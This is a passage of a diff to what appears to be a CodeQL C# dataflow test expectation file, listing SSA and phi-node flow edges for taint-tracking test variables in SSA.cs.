SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:22:27:22:28 | "" | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | | SSA.cs:23:13:23:22 | [post] access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted | | SSA.cs:23:13:23:22 | access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted | | SSA.cs:23:13:23:29 | access to property Length | SSA.cs:23:13:23:33 | ... > ... | | SSA.cs:23:13:23:33 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | -| SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | SSA.cs:24:13:24:31 | SSA def(ssaSink1) | -| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | -| SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | -| SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | +| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | -| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | +| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:37:24:37:31 | access to local variable ssaSink0 | -| SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 | | SSA.cs:28:16:28:23 | access to local variable nonSink1 | SSA.cs:28:16:28:28 | SSA def(nonSink1) | -| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | +| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:28:27:28:28 | "" | SSA.cs:28:16:28:23 | access to local variable nonSink1 | | SSA.cs:29:13:29:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted | | SSA.cs:29:13:29:22 | access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted | | SSA.cs:29:13:29:29 | access to property Length | SSA.cs:29:13:29:33 | ... > ... | | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | -| SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) | | SSA.cs:30:13:30:20 | access to local variable nonSink1 | SSA.cs:30:13:30:31 | SSA def(nonSink1) | -| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | -| SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | -| SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) | +| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:20 | access to local variable nonSink1 | -| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | +| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:49:24:49:31 | access to local variable nonSink0 | -| SSA.cs:31:9:31:24 | SSA phi(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 | | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | SSA.cs:34:16:34:28 | SSA def(ssaSink2) | -| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | +| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:34:27:34:28 | "" | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted | | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted | | SSA.cs:35:13:35:29 | access to property Length | SSA.cs:35:13:35:33 | ... > ... | -| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | | SSA.cs:37:13:37:20 | access to local variable ssaSink2 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:39:21:39:28 | access to local variable ssaSink2 | | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:41:21:41:28 | access to local variable ssaSink2 | @@ -724,31 +710,26 @@ | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | | SSA.cs:38:17:38:33 | access to property Length | SSA.cs:38:17:38:37 | ... > ... | -| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:39:17:39:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | -| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | +| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | | SSA.cs:41:17:41:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | -| SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | -| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | -| SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted | +| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | +| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:91:24:91:31 | access to local variable ssaSink0 | -| SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 | | SSA.cs:46:16:46:23 | access to local variable nonSink2 | SSA.cs:46:16:46:28 | SSA def(nonSink2) | -| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | +| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 | | SSA.cs:46:27:46:28 | "" | SSA.cs:46:16:46:23 | access to local variable nonSink2 | | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted | | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted | | SSA.cs:47:13:47:29 | access to property Length | SSA.cs:47:13:47:33 | ... > ... | -| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | +| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | | SSA.cs:49:13:49:20 | access to local variable nonSink2 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:51:21:51:28 | access to local variable nonSink2 | | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:53:21:53:28 | access to local variable nonSink2 | @@ -760,19 +741,14 @@ | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | | SSA.cs:50:17:50:33 | access to property Length | SSA.cs:50:17:50:37 | ... > ... | -| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | -| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | -| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | -| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | -| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | -| SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) | -| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | -| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | -| SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | -| SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | -| SSA.cs:55:9:55:24 | SSA phi(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | +| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 | +| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted | +| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | +| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 | | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | SSA.cs:59:23:59:30 | access to local variable ssaSink3 | | SSA.cs:58:27:58:33 | access to parameter tainted | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | @@ -860,16 +836,15 @@ | SSA.cs:85:15:85:20 | [post] access to field S | SSA.cs:114:9:114:14 | access to field S | | SSA.cs:85:15:85:20 | access to field S | SSA.cs:114:9:114:14 | access to field S | | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | SSA.cs:88:16:88:28 | SSA def(ssaSink4) | -| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | +| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | | SSA.cs:88:27:88:28 | "" | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted | | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted | | SSA.cs:89:13:89:29 | access to property Length | SSA.cs:89:13:89:33 | ... > ... | -| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | +| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | | SSA.cs:91:13:91:20 | access to local variable ssaSink4 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:93:21:93:28 | access to local variable ssaSink4 | | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:95:21:95:28 | access to local variable ssaSink4 | @@ -881,34 +856,28 @@ | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | | SSA.cs:92:17:92:33 | access to property Length | SSA.cs:92:17:92:37 | ... > ... | -| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | -| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | -| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | -| SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | -| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | -| SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | -| SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | -| SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | +| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted | +| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 | +| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | +| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | SSA.cs:98:15:98:22 | access to local variable ssaSink4 | | SSA.cs:97:23:97:30 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | | SSA.cs:101:16:101:23 | access to local variable nonSink3 | SSA.cs:101:16:101:28 | SSA def(nonSink3) | -| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | +| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 | | SSA.cs:101:27:101:28 | "" | SSA.cs:101:16:101:23 | access to local variable nonSink3 | | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted | | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted | | SSA.cs:102:13:102:29 | access to property Length | SSA.cs:102:13:102:33 | ... > ... | -| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) | +| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | | SSA.cs:104:13:104:20 | access to local variable nonSink3 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:106:21:106:28 | access to local variable nonSink3 | | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:108:21:108:28 | access to local variable nonSink3 | @@ -920,19 +889,14 @@ | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | | SSA.cs:105:17:105:33 | access to property Length | SSA.cs:105:17:105:37 | ... > ... | -| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) | -| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | -| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | -| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | -| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | -| SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) | -| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | -| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | -| SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | -| SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | -| SSA.cs:110:9:110:32 | SSA phi(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | +| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 | +| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted | +| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | +| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | | SSA.cs:110:23:110:30 | SSA def(nonSink3) | SSA.cs:111:15:111:22 | access to local variable nonSink3 | | SSA.cs:110:23:110:30 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | | SSA.cs:110:23:110:30 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | @@ -946,16 +910,15 @@ | SSA.cs:114:9:114:14 | access to field S | SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | | SSA.cs:114:9:114:14 | access to field S | SSA.cs:117:13:117:18 | access to field S | | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | -| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) | | SSA.cs:114:32:114:33 | "" | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted | | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted | | SSA.cs:115:13:115:29 | access to property Length | SSA.cs:115:13:115:33 | ... > ... | -| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | +| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S | | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:119:21:119:24 | this access | | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:121:21:121:24 | this access | | SSA.cs:117:13:117:16 | this access | SSA.cs:119:21:119:24 | this access | @@ -973,27 +936,20 @@ | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | | SSA.cs:118:17:118:33 | access to property Length | SSA.cs:118:17:118:37 | ... > ... | -| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted | | SSA.cs:119:21:119:24 | [post] this access | SSA.cs:123:23:123:26 | this access | | SSA.cs:119:21:119:24 | this access | SSA.cs:123:23:123:26 | this access | -| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | -| SSA.cs:119:21:119:26 | access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | -| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | -| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | -| SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) | -| SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | +| SSA.cs:119:21:119:26 | [post] access to field S | 